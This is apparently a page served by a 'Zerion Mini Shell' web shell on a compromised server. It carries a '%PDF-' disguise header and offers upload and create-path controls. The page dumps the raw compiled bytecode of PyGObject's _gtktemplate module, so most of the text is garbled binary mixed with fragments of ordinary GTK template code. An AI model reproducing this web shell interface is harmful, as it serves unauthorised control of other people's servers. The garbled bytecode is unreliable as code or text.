%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/gi/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/gi/__pycache__/_gtktemplate.cpython-312.pyc

�

��f�'���ddlZddlmZddlmZddlmZmZmZd�Z	d�Z
d�Zd�Zd	�Z
Gd
�de�ZGd�d
e�ZGd�de�Zd�ZGd�de�ZdgZy)�N)�abc)�partial)�GLib�GObject�Gioc�`�d}t|tj�r|j|d�}n
t	||d�}|�td|z��d}t|tj�r*t|�dk(rtd|z��|dd}|d}||fSt|�std|z��||fS)NzHandler %s not found�rz!Handler %s tuple can not be empty�z-Handler %s is not a method, function or tuple)
�
isinstancer�Mapping�get�getattr�AttributeError�Sequence�len�	TypeError�callable)�
obj_or_map�handler_name�handler�argss    �1/usr/lib/python3/dist-packages/gi/_gtktemplate.py�_extract_handler_and_argsrs����G��*�c�k�k�*��.�.��t�4���*�l�D�9�����3�l�B�C�C�
�D��'�3�<�<�(��w�<�1���?�'�I�J�J��q�r�{���!�*��
�D�=���g�
��G�'�Q�R�R��D�=��c�`��ddlm�G�fd�dtj�j�}|S)Nr��Gtkc�,���eZdZd�fd�	Z�fd�Z�xZS)�*define_builder_scope.<locals>.BuilderScopec�0��t�|��||_y�N)�super�__init__�
_scope_object)�self�scope_object�	__class__s  �rr#z3define_builder_scope.<locals>.BuilderScope.__init__7s����G���!-�D�rc���|j�xs|j}|jsJ|j�}||jvry|jj	|�|j|}n|j}|}t|�jjz�}|r&tdtjjz��t||�\}}	|rt|g|	��d|i�}
nt|g|	���}
d|
_
|
S)N�%r not supported�	swap_dataT)�get_current_objectr$�__gtktemplate_methods__�__gtktemplate_handlers__�add�int�BuilderClosureFlags�SWAPPED�RuntimeErrorr�ConnectFlagsrr�__gtk_template__)r%�builder�	func_name�flags�obj�current_objectr�swappedrr�prs           �r�do_create_closurez<define_builder_scope.<locals>.BuilderScope.do_create_closure;s����$�7�7�9�O�T�=O�=O�N��%�%�!(�!;�!;�!=���N�$J�$J�J���7�7�;�;�I�F�-�E�E�i�P��!%�!3�!3��(���%�#�"9�"9�"A�"A�A�B�G��"�&��)=�)=�)E�)E�E�G�G�6�n�l�S�M�G�T���G�:�d�:�c�:���G�+�d�+��!%�A���Hrr!)�__name__�
__module__�__qualname__r#r<�
__classcell__)r'rs@�r�BuilderScoper5s���	.�	�	rrA)�
gi.repositoryrrrA)rArs @r�define_builder_scoperC2s'���!�"�w����(8�(8�"�H�rc�D�||jvry|j|}|j|j�}|jj	|�t||�}	t
|tjjz�}
t
|tjjz�}|r&tdtjjz��|�&|
r
|j}n|j}|||	|�y|
r
|j}n|j}|||	�y)Nr))r,�
get_object�__gtype_name__r-r.rr/rr3�AFTERr1r2�connect_object_after�connect_object�
connect_after�connect)
r5r8�signal_namerrIr7�cls�method_name�
template_instr�afterr:�funcs
             r�connect_funcrR\s���3�6�6�6���-�-�l�;�K��&�&�s�'9�'9�:�M��*�*�.�.�|�<��m�[�1�G����,�,�2�2�2�3�E��%�'�.�.�6�6�6�7�G�����!5�!5�!=�!=�=�?�	?��!���+�+�D��%�%�D��[�'�>�2���$�$�D��;�;�D��[�'�"rc	����
�ddlm}i}i}t�jj	��D]�\}}t|t�rJt�||j�|j}|�|}||vr||}td|�d|�d|����|||<�`t|t�s�q|j}|�|}||vr||}td|�d|�d|����|||<�j||jd���|�_|�_|j dk(r!t#�}	�j%|	��n�j't(���j*�
�
�fd��_�j,�_y)	NrrzError while exposing handler z as z, already available as zError while exposing child z4.0c���t|���Sr!)�
init_template)�s�base_init_templaterMs ��r�<lambda>z#register_template.<locals>.<lambda>�s���-��3�(:�;�r)rBr�list�__dict__�itemsr�	CallThing�setattr�_func�_namer2�Child�bind_template_child_full�	_internalr,�__gtktemplate_widgets__�_versionrC�set_template_scope�set_connect_funcrRrU�__dontuse_ginstance_init__)rMr�
bound_methods�
bound_widgets�	attr_namer8r�
old_attr_name�widget_namerArWs`         @r�register_templaterm{s}���!��M��M��s�|�|�1�1�3�4�L��	�3��c�9�%��C��C�I�I�.��9�9�L��#�(���}�,� -�l� ;�
�"�%�i��@�A�A�
/8�
�l�+�
��U�
#��)�)�K��"�'���m�+� -�k� :�
�"�$�Y�
�?�@�@�
.7�
�k�*��,�,�[�#�-�-��K�9L�<#0�C��"/�C��
�|�|�u��+�-�����|�~�.����\�3�/��*�*��;��"��6�6�C�rc�r�d�|_|j|urtd��t�|_||�|j
j
�D]$\}}|j||�|j|<�&|jj
�D]!\}}||jvs�td|z��y)Nc��yr!r	r	rrrXzinit_template.<locals>.<lambda>�s�rzRInheritance from classes with @Gtk.Template decorators is not allowed at this timezUHandler '%s' was declared with @Gtk.Template.Callback but was not present in template)rUr'r�setr-rcr[�get_template_childrZr,r2)r%rMrWrlrjrs      rrUrU�s���%�D���~�~�S� ��
*�+�	+�%(�E�D�!��t��"&�">�">�"D�"D�"F�M���Y�#'�#:�#:�3��#L��
�
�i� �M�$(�#?�#?�#E�#E�#G�B���i��t�<�<�<��2�4@�A�B�
B�Brc��eZdZdd�Zy)r`Nc�`�||_|jdd�|_|rtd|z��y)N�internalFzUnhandled arguments: %r)r_�poprbr)r%�name�kwargss   rr#zChild.__init__�s4����
����J��6�����5��>�?�?�rr!�r=r>r?r#r	rrr`r`�s��@rr`c��eZdZd�Zy)r\c� �||_||_yr!)r_r^)r%rvrQs   rr#zCallThing.__init__�s����
���
rNrxr	rrr\r\�s��rr\c��eZdZdd�Zd�Zy)�CallbackNc��||_yr!)r_)r%rvs  rr#zCallback.__init__�s	����
rc�.�t|j|�Sr!)r\r_)r%rQs  r�__call__zCallback.__call__�s������T�*�*rr!)r=r>r?r#rr	rrr|r|�s���+rr|c���	tj|tjj�y#tj
$r1tj|tjj�YywxYw)z4Raises GLib.Error in case the resource doesn't existN)r�resources_get_info�ResourceLookupFlags�NONEr�Error�resources_lookup_data)�paths r�validate_resource_pathr��sW��F����t�S�%<�%<�%A�%A�B���:�:�F�	�!�!�$��(?�(?�(D�(D�E�	F�s�.1�AA5�4A5c�P�eZdZd�Zed��Zed��Zed��ZeZe	Z	d�Z
y)�Templatec��d|_d|_d|_d|vr|jd�|_nAd|vr|jd�|_n&d|vr|jd�|_nt	d��|rt	d|z��y)N�string�filename�
resource_pathzHRequires one of the following arguments: string, filename, resource_pathzUnhandled keyword arguments %r)r�r�r�rur)r%rws  rr#zTemplate.__init__�s��������
�!����v�� �*�*�X�.�D�K�
�6�
!�"�J�J�z�2�D�M�
��
&�!'���O�!<�D���2�3�
3���<�v�E�F�F�rc��||��S)N)r�r	)rMr�s  r�	from_filezTemplate.from_file�s
���H�%�%rc��||��S)N)r�r	)rMr�s  r�from_stringzTemplate.from_strings
���&�!�!rc��||��S)N)r�r	)rMr�s  r�
from_resourcezTemplate.from_resources
����/�/rc��ddlm}t|t�rt	||j
�st
d��d|jvrt
d|jz��t|d�rt
d��|j�j|j}t|t�s|jd�}tjj|�}|j!|�t#|�|S|j$�=t'|j$�|j)|j$�t#|�|S|j*�J�t,j.j1t3j4|j*��}tjj|j7�d	�}|j!|�t#|�|S)
Nrrz%Can only use @Gtk.Template on WidgetsrFzS%r does not have a __gtype_name__. Set it to the name of the class in your templater,zCannot nest template classeszutf-8r
)rBrr�type�
issubclass�WidgetrrZr=�hasattrr��bytes�encoder�Bytes�new�set_templatermr�r��set_template_from_resourcer�r�File�new_for_path�os�fspath�
load_contents)r%rMr�data�bytes_�file_s      rrzTemplate.__call__sl��%��#�t�$�J�s�C�J�J�,G��C�D�D��3�<�<�/��0�25�,�,�?�@�
@��3�1�2��:�;�;��;�;�"��;�;�D��d�E�*��{�{�7�+���Z�Z�^�^�D�)�F����V�$��c�"��J�
�
�
�
+�"�4�#5�#5�6��*�*�4�+=�+=�>��c�"��J��=�=�,�,�,��H�H�)�)�"�)�)�D�M�M�*B�C�E��Z�Z�^�^�E�$7�$7�$9�!�$<�=�F����V�$��c�"��JrN)r=r>r?r#�classmethodr�r�r�r|r`rr	rrr�r��sU��G�$�&��&��"��"��0��0��H��E�!rr�)r��collectionsr�	functoolsrrBrrrrrCrRrmrU�objectr`r\r|r�r��__all__r	rr�<module>r�sv��(
���,�,��.'�T#�>27�jB�,@�F�@����+�v�+�	F�E�v�E�P�,�r

Zerion Mini Shell 1.0